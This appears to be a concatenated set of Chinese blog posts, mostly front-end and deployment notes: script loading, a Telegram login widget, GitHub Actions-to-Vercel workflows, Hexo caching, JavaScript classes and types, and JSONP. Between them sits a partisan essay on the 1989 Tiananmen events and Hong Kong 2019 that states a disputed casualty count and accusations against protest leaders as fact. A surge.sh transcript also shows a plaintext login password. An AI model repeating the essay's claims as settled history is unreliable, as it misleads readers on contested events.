3. 脚本执行顺序：所有带有 defer 属性的脚本会按照它们在文档中的出现顺序来执行，即使它们是异步下载的。也就是说，defer 保证了脚本按顺序执行，而不是基于下载完成的顺序；

4. 多脚本defer，保证在html解析及下载依赖css完成后，在脚本依序执行阶段能缓解带宽压力（不过太多的defer在并行加载阶段，也会占用带宽；可结合脚本合并【合并请求】，代码压缩优化），利于首屏加载。

5. 执行时间：这些脚本会在页面解析完成后、DOMContentLoaded 事件触发之前执行。

   

执行顺序图解：

  sequenceDiagram participant Browser participant DOM participant Resources Browser->>DOM: 开始解析HTML Browser->>DOM: 构建DOM树 DOM-->>Browser: DOMContentLoaded触发 (DOM就绪) Browser->>Resources: 加载外部资源 Resources-->>Browser: 所有资源加载完成 Browser->>Browser: window.onload触发 Browser->>Browser: document.readyState = 'complete'  

脚本加载策略对比

  graph LR    A[加载策略] --> B[无属性]    A --> C[async]    A --> D[defer]    B --> B1[阻塞HTML解析]    B --> B2[声明顺序执行]    B --> B3[立即执行]    C --> C1[不阻塞解析]    C --> C2[下载顺序执行]    C --> C3[下载完立即执行]    D --> D1[不阻塞解析]    D --> D2[声明顺序执行]    D --> D3[DOMContentLoaded前执行]  

举例

1. 浏览器解析 HTML 文件，从上到下逐行解析。
2. 遇到 <script defer="true" src="script.js"> 标签时，浏览器会开始异步加载 script.js 文件。
3. 同时，浏览器继续解析页面的其他 HTML 元素，解析 CSS 文件（如 <link rel="stylesheet" href="styles.css">），并开始应用 CSS 样式。
4. 当 HTML 文档解析完毕，defer 属性的脚本会按顺序执行，确保文档的 DOM 结构已经完整，但此时 CSS 渲染已经完成。
   （脚本尝试强制触发浏览器对某些样式计算（如 getComputedStyle）时可能被延迟，或 JS 存在动态加载额外的 CSS 文件，最好以onload监听为准）
5. 在defer脚本均执行完成后，DOMContentLoaded 事件会被触发。

async

1. 从script标签位置开始下载：浏览器会在解析到 async 属性的<script>标签时立即开始下载（下载过程不阻塞 html解析）。
2. 下载完成后执行：脚本会在下载完成后立即执行，执行顺序取决于各自下载的顺序，而不是在 HTML 中的顺序（执行过程占用主线程，会阻塞 html解析和依赖的css下载，优先执行完毕后才会继续解析html；太多async会抢占带宽，影响css等关键资源加载，有碍页面渲染）。
3. 主要用于“广告”，“监视脚本”或其它第三方独立插件。

补充

<link rel="preload" href="" as="script">能缩短加载其它页面的时间，但使用太多可能造成流量拥堵，不利于首屏加载。同时与<script src="" defer />能提前下载关键资源在且dom完成后顺序执行，是个好实践。

注意

一、电报机器人快捷认证登录，登录成功后会返回 昵称，会话ID，和 用户名。
二、只能作为验证身份，获取用户部分信息使用。本地退出只能通过清除浏览器cookie中的token，若要完全退出该浏览器认证终端，须在 Telegram 手动终止。

效果（验证）:

按钮区：

图示区：
1.登陆前，

2.在已登录telegram的设备中，进行第三方登录的确认，

3.登陆成功后，

4.退出，须清理对应cookie记录。

主要代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<script type="text/javascript">
  function onTelegramAuth(user) {
    alert('Logged in as ' + user.first_name + ' ' + user.last_name + ' (' + user.id + (user.username ? ', @' + user.username : '') + ')');
  }
</script>

<div class="telegram-container">
<h1>使用 Telegram 登录</h1>
<script async src="https://telegram.org/js/telegram-widget.js?22"
data-telegram-login="Cecilzhubot"
data-size="large"
data-radius="20"
data-onauth="onTelegramAuth(user)"
data-request-access="write"></script>
</div>

vercel成功部署后，通过githubAPI 将vercel项目的“预览链接” 赋值给github的environment URL

效果图

一、将github仓库项目部署到vercel

可指定项目，“–name“字段貌似可简写为“-n“，后可加“vercel项目名”，或“vercel项目ID”

二、得到已关联“vercel项目”的 域名（可选）

vercel项目名”或“vercel项目ID”,请求vercelAPI，以获取项目信息，提取域名。

三、创建“github发布状态”

请求githubAPI，“https://api.github.com/repos/$/deployments“，会返回此次github提交的“github发布ID”，保存。

四、更新“github发布状态”

使用“github发布ID”，请求githubAPI，将vercel平台提供的已部署vercel项目的“预览链接”赋值给github的environment URL

五、deploy.yml完整代码（含 github仓库secret）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

name: Deploy to Vercel

on:
  push:
    branches:
      - master

jobs:
  deploy:
    runs-on: ubuntu-latest
    
    steps:
      - name: Checkout repository
        uses: actions/checkout@v2
    
      - name: Install Vercel CLI
        run: npm install -g vercel
    
      - name: Deploy to Vercel And Get Deployment URL
        id: get-url
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
        run: |
          # 或不使用"--name"或"-n"指定部署到vercel中已存在的某个项目，而是默认使用git仓库名作为vercel项目名
          # vercel --prod --token ${{ secrets.VERCEL_TOKEN }} --yes
          vercel --prod --token ${{ secrets.VERCEL_TOKEN }} --yes --name ${{secrets.VERCEL_PROJECT_EAMON_ID}}
          DEPLOYMENT_URL=$(vercel --token ${{ secrets.VERCEL_TOKEN }} ls --prod | grep -o 'https://[^ ]*' | head -n 1)
          
          # 1.可设置为 环境变量，在其他步骤使用
          echo "DEPLOYMENT_URL=${DEPLOYMENT_URL}" >> $GITHUB_ENV
          # 2.将 $DEPLOYMENT_URL 的值 赋值给当前作业的 输出变量 DEPLOYMENT_URL，在其他步骤以“steps.get-url.outputs.DEPLOYMENT_URL“形式引用（即将废弃）
          # echo "::set-output name=DEPLOYMENT_URL::$DEPLOYMENT_URL"
          # 3.也可写入txt，在其他步骤使用（查看所有 环境变量，找到 环境变量DEPLOYMENT_URL的键值对，取其值，保存为txt文本 ）
          cat $GITHUB_ENV | grep DEPLOYMENT_URL | cut -d'=' -f2 > DEPLOYMENT_URL.txt
          
          a=$(cat DEPLOYMENT_URL.txt) # 赋值表达式“=“两边 不能有空格
          echo $a
          # 打印变量（含 环境变量）的 3种 方式：echo "我是$a"、echo "我是${a}"、echo $a
    
      - name: Get Vercel Project Info
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
        run: |
         curl -s -H "Authorization: Bearer $VERCEL_TOKEN" https://api.vercel.com/v6/projects/${{secrets.VERCEL_PROJECT_EAMON_ID}} > vercel_project.json
         cat vercel_project.json
    
      - name: Extract Custom Domain
        run: |
          # 提取 domain
          DOMAIN=$(cat vercel_project.json | jq -r '.alias[0].domain // empty')
          echo "Custom Domain: $DOMAIN"
          echo "CUSTOM_DOMAIN=${DOMAIN}" >> $GITHUB_ENV
          
          # 若vercel平台待部署项目 未关联域名，则使用 DEPLOYMENT_URL作为environment_url【须以https开头】
          if [ -z "$DOMAIN" ]; then
            CUSTOM_DOMAIN=$DEPLOYMENT_URL
          fi
        
      - name: Create deployment status on GitHub
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/deployments \
            -d '{
                  "ref": "master",
                  "environment": "vercel-prod",
                  "description": "Deployment to Vercel",
                  "auto_merge": false,
                  "required_contexts": [],
                  "payload": {},
                  "transient_environment": false,
                  "production_environment": true
                }' | jq -r '.id' > deployment_id.txt
    
                  # txt形式，不同步骤之间传递值
                  DEPLOYMENT_ID=$(cat deployment_id.txt)
                  # 或 环境变量 形式，不同步骤之间传递值
                  echo "DEPLOYMENT_ID=${DEPLOYMENT_ID}" >> $GITHUB_ENV
          
      - name: Update deployment status
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          DEPLOYMENT_URL=$(cat DEPLOYMENT_URL.txt)
          DEPLOYMENT_ID=$(cat deployment_id.txt)
          # 或 环境变量 DEPLOYMENT_ID=${{env.DEPLOYMENT_ID}}
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/deployments/${DEPLOYMENT_ID}/statuses \
            -d '{
                  "state": "success",
                  "description": "Deployment to Vercel successful",
                  "auto_inactive": true,
                  "log_url": "'${DEPLOYMENT_URL}'",
                  "environment_url": "'https://$CUSTOM_DOMAIN'"
                }'

六、注意事项

“jobs输出变量”、“环境变量”在json中的不同书写方式，注意“引号”。

1
2
3
4
5
6
7
8
9
10
11

# job输出变量 书写

# "environment_url": "'${{steps.get-url.outputs.DEPLOYMENT_URL}}'"

# 环境变量 书写

# "log_url": "'"${{ env.DEPLOYMENT_URL }}"'",

# "environment_url": "'${ DEPLOYMENT_URL }'"

# "environment_url": "'$DEPLOYMENT_URL'"

一、本地vercel-cli手动部署

在本地npm安装vercel-cli插件，cd 到本地项目目录；
选取第三方账号等方式，远程登录vercel，选择 待发布的 vercel项目名；
发布项目到 预览环境，或vercel --prod生产环境，成功后会输出 预览链接。

二、vercel面板 直接部署

登录vercel面板，导入github仓库，直接发布。
只要不断开vercel与git仓库的链接，git仓库有新推送，vercel便会同步部署。

三、github actions + VERCEL_TOKEN

登录vercel面板，新建一个token，并存入到github仓库中的“仓库secret”处，取名为VERCEL_TOKEN；
新建work actions，在.github/workflows/deploy.yml中利用$自主地 部署项目到 vercel平台。

解释：部署到生产命令vercel --prod结束后会输出一段信息，进而通过| grep -o过滤出这段信息中的“预览链接”，而变量DEPLOYMENT_URL会通过$()接收这个链接字符串。之后保存到deployment_output.txt中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

name: Deploy to Vercel
on:
  push:
    branches:
      - master  # 当推送到 master 分支时触发
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: vercel-prod  # 设置环境为 vercel    
    steps:
      - name: Checkout repository
        uses: actions/checkout@v2

      - name: Install Vercel CLI
        run: npm install -g vercel

      - name: Deploy to Vercel
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
        run: |
          # 执行一次部署，并从部署成功的输出日志中，提取当前的 部署成功url
          DEPLOYMENT_URL=$(vercel --prod --token ${{ secrets.VERCEL_TOKEN }} --yes | grep -o 'https://[a-zA-Z0-9./?=_-]*')
          # 或 从所有生产部署的输出日志中，查找到所有的 部署成功url，获取最新的url
          # DEPLOYMENT_URL=$(vercel --token ${{ secrets.VERCEL_TOKEN }} ls --prod | grep -o 'https://[^ ]*' | head -n 1)
          echo $DEPLOYMENT_URL > deployment_output.txt
        id: deploy

      - name: Output Deployment URL
        run: cat deployment_output.txt
        if: success()

四、github actions触发vercel-hook

登录vercel面板，申请一个直接交给github actions的执行的，用于vercel部署的hook钩子；
将该hook钩子存入到github仓库中的“仓库secret”处，取名为VERCEL_DEPLOY_HOOK；只要githubAction中触发该hook即可强制部署：

1
2

- name: Trigger Vercel Deploy Hook
        run: curl -X POST ${{ secrets.VERCEL_DEPLOY_HOOK }}

另外，可结合vercel中的PROJECT_ID和VERCEL_TOKEN,访问接口https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID，获取最近的部署信息，进一步获取部署成功的 项目链接：

1
2
3
4
5
6
7

- name: Get Deployment URL
        run: |
          sleep 10  # 等待部署完成
          DEPLOYMENT_URL=$(curl -s "https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID" \
            -H "Authorization: Bearer ${{ secrets.VERCEL_TOKEN }}" \
            | jq -r '.deployments[0].url')
          echo "Deployment URL: $DEPLOYMENT_URL"

完整版：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

name: Deploy to Vercel

on:
  push:
    branches:
      - master  # 当推送到 master 分支时触发

jobs:
  deploy:
    runs-on: ubuntu-latest
environment: vercel-prod
    steps:
      - name: Checkout repository
        uses: actions/checkout@v2

      - name: Trigger Vercel Deploy Hook
        run: curl -X POST ${{ secrets.VERCEL_DEPLOY_HOOK }}

      - name: Get Deployment URL
        run: |
          sleep 10  # 等待部署完成
          DEPLOYMENT_URL=$(curl -s "https://api.vercel.com/v6/deployments?projectId=YOUR_PROJECT_ID" \
            -H "Authorization: Bearer ${{ secrets.VERCEL_TOKEN }}" \
            | jq -r '.deployments[0].url')
          echo "Deployment URL: $DEPLOYMENT_URL"

输出日志：

五、总结

除了第一种 本地vercel-cli，其他（vercel Deployment Hook，github action）方式，只要git远程仓库有新推送，便自动部署项目到 vercel平台；当在主支推送时，默认部署至vercel生产环境。

人民的监督权与政府公权力本就是此消彼长，缺乏信任的关系。

人民有人权和知情权，记者探究事实并公布于众并没错。政府为了社会稳定，不动摇执政根基，一致口径掩盖工作失误甚至官员丑闻也能理解。

单靠领导自觉是不靠谱的，人也是会变的。若遇见智者，一直走正确的路还好。倘若遇见“川建国”之流，伤人不利己的事情一个不落，人民就等着咽下苦果。而将公权力关进制度的笼子，建立行之有效的监督制度，就是政治体制改革需要努力的方向。即便迫于社会稳定等客观条件的压力暂时做不到，只要能”准确且及时地下情上达、矢志不渝地遏制腐败……..”，政权还是能保鲜的。

“改善人民生活，提升人均教育水平”仍是现阶段的首要任务。也许有朝一日，人民生活富足，辨得清某些自媒体的“带风向”之论，这一问题自然会得以解决。我对此有信心，可以保持关注，多给点耐心。

李光耀 曾说：“发展中国家若过早地追求西式民主化，只会给国家发展带来阻碍” ，我深以为然。

华夏大地上，“分久必合，合久必分”的历史循环一再上演。无论新朝首任再怎么雄才伟略、知人善任，只要后世松懈了、腐败了、不顾生民......，走投无路的人民自然会改弦更张！执政者希望国祚多久，无非是自我改革和被革命之间做取舍。

柴吾林 之流，对治国理政一窍不通却妄图取而代之。柴吾二人 溜得比谁都快，拱火 让别人去送死 来满足自己 膨胀的虚荣心。几十年如一日地造谣抹黑，拿着当年的“人血馒头”不撒手。他们若能当回“红卫兵”，相信会像《茶馆》里的“打手”一样，必定干得“十分出色”。

侯刘 这些“尊重事实，懂得反思”的人才值得尊敬！温总理 提到的“政治体制改革”有必要，但要注意时机和方式。不然稍有不慎，就会变成台湾那种“政党恶斗、族群对立”，垃圾民主的典范。

官倒实属可恨，但换他们上位就行了？民主，或专制，与贪污无必然联系。绝食抗议 终于争取来了与总理交流的机会，吾 却“吊儿郎当，不谈具体诉求”，反而故作高姿态、无底线地要胁执政党做出让步。这是提诉求的态度吗？试问哪个执政党能容忍“如此无礼”？也就是邓公他们理解国民的不满情绪，在乎抗议学生的性命。若换做老美早就暴力驱散了！吾鼓动别人绝食，自己却开小灶，还将募集资金用于个人挥霍。指望他反官倒？吾贪得比谁都欢。

此次风波，给社会和群众带来了严重损失——部分解放军惨死，市民学生伤亡，总计约二三百人。刘 作为组织者之一，不管出发点再怎么好，事实上也确实助推了骚乱升级，应承担部分责任。2019年的香港黑暴，就是此次事件的重现。积极意义就是，让很多被西媒误导的、不明当年真相香港人民，亲身感受那只输出动乱的无形的手，彻底认清西方的丑恶嘴脸。

港 某博主：

部署方式（推荐1、2，大陆直连）

1.netlify:

https://nt-twikoo.eamon.dpdns.org/.netlify/functions/twikoo

一、 网站（主要）目录结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

│  ads.txt
│  cacheList.json
│  manifest.json
│  README.md
│  update.json
│  
├─about
│      index.md
│      
├─archives
│      index.md
│      
├─categories
│      index.md
│      
├─icons
│      icon-192x192.png
│      
├─tags
│      index.md
│      
├─_data
│      about.yml
│      link.yml
│      
├─_drafts
└─_posts
    │  absolute探讨.md

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

│  ads.txt
│  cacheList.json
│  manifest.json
│  README.md
│  update.json
│  (上面从是source经`hexo g`来的)
│
│  404.html
│  index.html
│  search.xml
│  sitemap.txt
│  sw-dom.js
│  sw.js
│  
├─about
│      index.html
│      
├─archives
│  │  index.html
│  │                                 
├─categories
│  │  index.html
│  │  
│  ├─learning
│  │  │  index.html    
├─css
│      index.css    
├─icons
│      icon-192x192.png
├─img
│      10.png    
├─js
│  │  main.js            
├─page
│  ├─2
│  │      index.html       
├─posts
│  │  absolute_tan_tao.html

二、hexo-swpp@3.3.1和swpp-backends@2.3.11

1
2
3
4
5
6
7

# pwa资源优化
swpp:
  # 是否启用插件
  enable: true
  # 是否在发布前自动执行脚本
  auto_exec: false
  npm_url: 'https://registry.npmmirror.com'

三、update.json和cacheList.json

1. 这两个文件是hexo swpp命令同时生成的（前提是_config.yml中的swpp选项auto_exec:false！否则hexo swpp命令无效，只能经hexo d命令才可生成！）。
   
2. 只有 存在于cacheList.json文件列表中的资源，才能被seviceWorker缓存；该文件列表的变动会随即影响update.json中的内容（记录更新了哪些文件，更新seviceWorker的版本号）。
3. 服务器根目录必须有update.json，用于“记录sw中的文件更新并更改sw缓存版本号”；若网站根目录（包括服务器根目录）缺失该文件，执行hexo swpp会报错；故直接放到source目录，首次新建update.json并推送到服务器，今后hexo swpp会自动以服务器上的update.json为基础“记录sw中的文件更新并更改sw缓存版本号”，并同步到本地public中的update.json。
4. cacheList.json的生成出口是public/；执行hexo g后该目录会被删除；所以当不执行hexo swpp，或auto_exec:false条件下也不执行hexo d时，为保证服务器根目录一直存在cacheList.json，须直接拷贝一份到source/下。

二、js中的数据类型（7种原始类型/基本类型，1种引用类型/复杂类型）
原始类型/基本类型：Number,String,Boolean,Null,Undifined,BigInt,Symbol
引用类型/复杂类型: Object

typeof 操作符【此为操作符，并非构造函数！typeof()中的()只是将后续的内容当做一个整体而已，非必须有】
作用：以 字符串形式 返回 变量中值的 数据类型。
“undefined”表示 变量 已使用var,let等关键字声明，但未赋值（初始化）;
“boolean”表示为 变量值的 数据类型为 布尔值;
“string”表示为字符串;
“number”表示为数值;
“object”表示为对象；（变量值为null时， typeof测出来的数据类型是object —特殊情况）
“function”表示为函数;
“symbol”表示为符号；

1.Number
一般值：整数，小数（又称 浮点数，小数运算之前，必须先把小数转换为整数！）；
特殊值：NAN, Infinity, MAX_VALUE, MIN_VALUE

NaN (为not a number的简写)代表一个计算错误，它是一个错误的操作所得到的结果；console.log(10 * “abc”); // NaN
NaN和任何数据进行运算，结果都是NaN。
Infinity, 无穷大 ；-Infinity, 负无穷大 【1/0 在js中值为无穷大，java中会直接报错】

MAX_VALUE, MIN_VALUE（最大正数值，最小正数值）
用法：
var min = Number.MIN_VALUE;
var max = Number.MAX_VALUE;

isNaN()构造函数
用法及作用
isNaN(num)，判断num值为NaN则返回true

2.String
var str = ‘qwer’;
str.length获取str的length
str[1]获取str的第2个字母

字符串的拼接【’+’遇到 字符串，直接解释为 字符串拼接】
转义字符（'、"引号的 转义，\n换行等）
es6中的 模板字符串。用法（反引号中直接写 包含 以${}包裹变量名的 字符串）：qwer${变量名}erter

3.Boolean(共2个值，非true即false)
关系运算符 返回的结果，就是布尔数据类型。console.log(2 > 1); //true
‘!’的 取反 操作。
4.Undefined(只有1个值undefined)
变量 已使用var,let等关键字声明，但未赋值（初始化） 时，该变量的数据类型为Undefined。被动的，很少主动用！
var uname;
console.log(uname); //变量的值 默认为 undefined
console.log(typeof uname); //变量中值的 数据类型 为undefined
5.Null(只有1个值Null）
用法（给一个已经声明的变量进行初始化，经常用！）：var user = null;
6.Object
可以表示一组数据，是其他数据的一个集合。可看作一个容器，是js中众多容器 {} [] set map…中的一种。

三、js中的 数据类型转换
1.其它数据类型 转为 String类型
强转： toString() String()
toString() 【只能把number 和 boolean 转换为字符串！undefined、Null都没有原型链，无法强转】
举例： var a = 100;
a不是一个对象，a.toString(),会瞬间把a包装成一个对象，这类对象叫包装对象，其中’. ‘为属性访问运算符。

String()构造函数，强大！【可以把number、boolean、undefined、null、字面量(固定取值) 转换为字符串！】

隐式转换：方便！（’+’遇到 字符串，直接解释为 拼接字符串，故 字符串前直接加’+’ 即可对其完成类型转换）
【运算符 左右两侧数据类型不一致时，运算符会悄悄的把一种数据类型转为另一种数据类型，保持数据类型一致。】

2.其它数据类型 转为 Number类型
Number() 构造函数，或者前面加上”+” 【把”123”、” 123 “转成123、空格字符串” “或空串”” 转成0、”100px”转成NaN】
特殊：Number(false)和Number(Null) 都转为 0。Number(true) 转为 1。Number(undefined) 转为 NaN。

parseInt转为整数 parseFloat转为小数【能转则转！”100px”转成100，”px100”转成NaN】

3.其它数据类型 转为 Boolean类型
Boolean() 构造函数，强转
【转为false: 0, null, NaN, undefined, 空串””。其他情况都转为true】

四、运算符
// 运算符：具有某些特定功能的符号 + - * / %
// 操作数： 1 + 1 运算符号两侧的数据都是 操作数
// 要求：运算的时候，左右两侧的数据类型必须保持一致。如果不一致，会发生类型转换。

    //  从功能上划分：【运算后，都会整体返回一个布尔值。】    //     算术运算符    //     递增递减运算符( ++ 在前，整体是一个新值 ，++在后整体是一个旧值)    //     关系运算符【算数、递增递减、和关系运算符中，会把两边的 操作数 隐式转换为Number类型】    //     逻辑运算符（&&一假全假、||一真全真、!。注意：&&碰到第一个为false，便会立即中断后续的语句。|| 碰到第一个为true，也会立即中断后续的语句。）    //     赋值运算符    // 从操作数上划分    //    一元运算符  单目运算符    //    二元运算符  双目运算符    //    三元运算符  三目运算符  三元表达式 （表达式 ? 结果A : 结果B）

【拓展】
1.!=隐式类型转换 不判断数据类型。!==判断数据类型（==与===同理）

2.后端传递数据过来进行判断时，为数组时判断数组的长度，为对象时用if(Object.keys(obj).length){}，判断对象属性数组长度。
如果可能传过来null，也有可能传过来数组，并且不希望空数组执行语句，则可以if(res && res.length){}，res和res.length位置不能换，如果为null，则直接返回null，后面的res.length不执行，从而不报错，如果为[]，则res.length为0，返回0，也将空数组去除了。

3.在js中根本不存在真正的空对象，理解这一点至关重要！即使时最简单的{}对象也会包含从Object.prototype继承而来的属性和方法。我们提到的”空对象”只是说这个对象没有自有属性，不考虑它是否有继承而来的属性。
{}、null、[]的区别【注：在转化为 布尔值时，只有null转为false！[]、{}都会被转为true。】
{}是一个不完全空的对象，原型链上有Object；null为原型链顶端，因此Object.prototype.proto===null为true。
null是完全空对象，原型链也没有。
[]原型链上还比{}多一个Array。

4.使用 三元运算符能做到的，if else语句也能做到。只是三元运算符不仅能用于js，也能与html标签结合使用：

1. 安装node

2. 安装surge

npm install –global surge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

操作命令：
$ surge --help
  surge – single command web publishing. (v0.23.1)
  Usage:
    surge <project> <domain>
  Options:
    -a, --add           adds user to list of collaborators (email address)
    -r, --remove        removes user from list of collaborators (email address)
    -V, --version       show the version number
    -h, --help          show this help message
  Additional commands:
    surge whoami        show who you are logged in as
    surge logout        expire local token
    surge login         only performs authentication step
    surge list          list all domains you have access to
    surge teardown      tear down a published project
    surge plan          set account plan  Guides:
    Getting started     surge.sh/help/getting-started-with-surge
    Custom domains      surge.sh/help/adding-a-custom-domain
    Additional help     surge.sh/help
  When in doubt, run surge from within your project directory.

3.进入待发布的目录

cd

4.发布

【可直接命令（surge + project相对路径 + 自定义域名）进行project的发布，不过域名可能会冲突！！！】

$ surge
Welcome to surge! (surge.sh)
Login (or create surge account) by entering email & password.
email: me@xiexianbin.cn
password: Surge2022
Running as me@xiexianbin.cn (Student)
project: D:\code\public
domain: fallacious-action.surge.sh 此域名可 自定义为 *****.surge.sh，域名太短可能会发生冲突，配置失效！！
encryption: *.surge.sh, surge.sh (185 days)
IP: 138.197.235.123
Success! - Published to fallacious-action.surge.sh

发布成功后，访问指定ip或域名即可在线看到 此project。
撤销已发布项目 使用命令 surge teardown+域名。
亲测速度还可以，很方便。可以自定义 多个域名，但共享同一个ip

构造函数

constructor方法是类的默认方法，通过new命令生成对象实例时，自动调用该方法。一个类必须有constructor方法，如果没有显式定义，一个空的constructor方法会被默认添加。

1
2
3
4
5
6
7

class Person{
}
等同于
class Person{
  // 构造函数
  constructor(){}
}

实例 属性和方法、静态 属性和方法

定义在类体中的属性称为实例属性，定义在类体中的方法称为实例方法。如下，temp、name、age就是实例属性，sayName方法就是实例方法。

同理，直接通过类调用的，而不是通过实例对象调用的。即只能通过“类名.names”或“类名.fn()”方式访问的属性和方法，便是 静态属性、静态方法。不会被实例继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

class Person {
    constructor(name, age) {
        // 实例属性  【常用】
        this.name = name;
        this.age = age;
        // 实例方法  不常用
        this.sayName = function () {
            console.log("i am ", this.name);
        }
    }
    // 实例属性
    temp = 'briup';

    // 给原型对象 添加 公有方法 【常用】
    say() {
        return "我是Person对应的 原型对象上的 公有say方法";
    }

    //静态属性、静态方法
    static names = `我是 Person类 中的 静态属性`;
    static staticSay() {
        return `我是 Person类 中的 静态方法，只能在 Person作为对象时，通过属性访问运算符'.' 使用。`
    };
}

//在 Person对应的 原型对象上 添加 公有属性color
Person.prototype.color = 'red';

let p1 = new Person('Ronda', 22);
console.log(p1.temp);  // briup
console.log(p1.hasOwnProperty('temp'));  // true 【写在constructor之外的temp为 实例属性，并非其 原型对象上的 公有属性】
console.log(p1.__proto__.hasOwnProperty('temp'));  // false  实例化对象p1的 原型对象上没有temp属性
console.log(Person.prototype.say());  // ‘我是Person对应的 原型对象上的 公有say方法’

console.log(Person.names);
console.log(Person.staticSay());

关于 实例属性的 补充：

1
2
3
4
5
6
7
8
9
10

class People{
  num = 1;
  constructor(num){  
    this.num = num;
  }
  num = 3;
}

let people = new People(2);
console.log(people.num);  // 2

等同于

1
2
3
4
5
6
7
8
9

class People{
 constructor(num){  
   //不论在类内部哪里定义num属性，在constructor都会提前
   this.num = 1;
   this.num = 3;

   this.num = num;
 }
}

class中的继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

class Student {
    constructor(name, age) {
        // 在里面写的属性和方法 会挂载到 实例对象上
        this.name = name;
        this.age = age;
        this.work = function () {
            console.log('work..');
        }
    }
    //  在constructor外面写的方法 会挂载在 原型对象上
    say() {
        console.log('say..');
    }
}
let stu = new Student('张三', 18);
console.log(stu);// Student {name: '张三', age: 18, work: ƒ}

// 继承使用的关键字 extends、super
// 声明一个班长类 班长类去继承学生类的一些属性
class Monitor extends Student {
    constructor(name, age, id) {
        super(name, age);// super调用父类的构造函数
        this.id = id;//增加自己的 实例属性
    }
}
// 父类的 公有属性和私有属性 都可以被继承
let mon1 = new Monitor('李四', 18, 01);
console.log(mon1);// Monitor {name: '李四', age: 18, id: 1, work: ƒ}
mon1.say();// say..

关于super关键字，详见ES6中Class类构造函数、实例、原型属性和方法、继承extends、super关键字_es6中类的原型属性和原型方法_The..Fuir的博客-CSDN博客 

class的set设置器和get访问器

get 关键字将对象属性与函数进行绑定,当属性被访问时,对应函数被执行。

set 关键字将对象属性与函数进行绑定,当属性被赋值时,对应函数被执行。

【注意：实例对象的 属性名，与绑定该属性的 函数名 不能 同名】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

class Student {
    constructor(address, age) {
        this._address = address;
        this.age = age
    }
    // 设置器和访问器
    get address() {
        console.log('get启用了');
        return this._address
    }
    set address(value) {
        console.log('set启用了');
        this._address = value
    }
}
let stu = new Student('北京', 18);
console.log(stu.address);//不加下划线 相当于通过get set去访问【输出“get启用了  北京”】
// console.log(stu._address); //加上下划线 相当于是正常的属性访问

// stu.address = '上海';
// stu._address = '上海'; //加上下划线，是正常的修改属性值
console.log(stu);

详见：

console.log - Web API 接口参考 | MDN
javascript - Can’t access object property, even though it shows up in a console log - Stack Overflow

我的理解（可能有误，仅当参考）：

1.如下图，只有在控制台点击“箭头”后，里面看到的 才是 对象当前状态的 真实值。若只能console.log()输出，而无法 点击。就使用Object.keys(obj)打印 对象 实时存在 的key。

同理：

console.log(Object.keys(ctx.request));

1
2
3
4
5
6
7
8
9
10

//打印结果如下，可见ctx.request对象实际是由body属性的，只是当时log的不是 真实值。
[ 'app',
  'req',
  'res',
  'ctx',
  'response',
  'originalUrl',
  'body',
  'rawBody',
  'params' ]

而直接console.log(ctx.request)只能拿到 请求报文，是拿不到对象的真实值的：

2.若想获得 log 那一刻，obj 当时的 值，可以console.log(JSON.parse(JSON.stringify(obj)))。【未验证】

在 JavaScript 中，回调函数是指将一个函数作为参数传递给另一个函数，以在某些操作完成后通知调用者。当操作完成时，被调用的函数（即回调函数）将被调用，以执行某些指定的操作或返回一些数据。回调函数通常被用来处理异步操作，如定时器、Ajax 请求、事件处理器等。

什么是 JSONP ？

JSONP（JSON with Padding）是一种通过在页面中 动态创建script标签，以实现跨域请求数据的技术。它是一种基于 回调函数的技术，它可以绕过浏览器的同源策略，使得页面可以请求来自不同域名的数据。

在使用 JSONP 技术时，需要在页面中 动态创建一个script标签，并 将请求的 URL 包装在一个回调函数中。服务器在返回数据时，将数据作为回调函数的参数返回，这样浏览器就可以直接执行该函数，并将数据作为函数的参数进行处理。

JSONP 的优点是它可以绕过浏览器的同源策略，可以请求来自不同域名的数据，而不会因为跨域而受到限制。缺点是它只支持 GET 请求，并且请求的数据需要由服务器来控制和返回，因此它的灵活性和安全性相对较低。此外，由于 JSONP 依赖于回调函数，在处理复杂的请求时，可能会导致代码难以维护和调试。

能通过JSONP获取数据的接口 需要有什么条件？

1.支持 回调函数：

JSONP 的原理是通过在页面中动态创建script标签来请求数据，因此接口返回的数据必须以 JavaScript 函数的形式返回，这个函数名一般是通过 URL 参数传递的。

2.跨域请求：

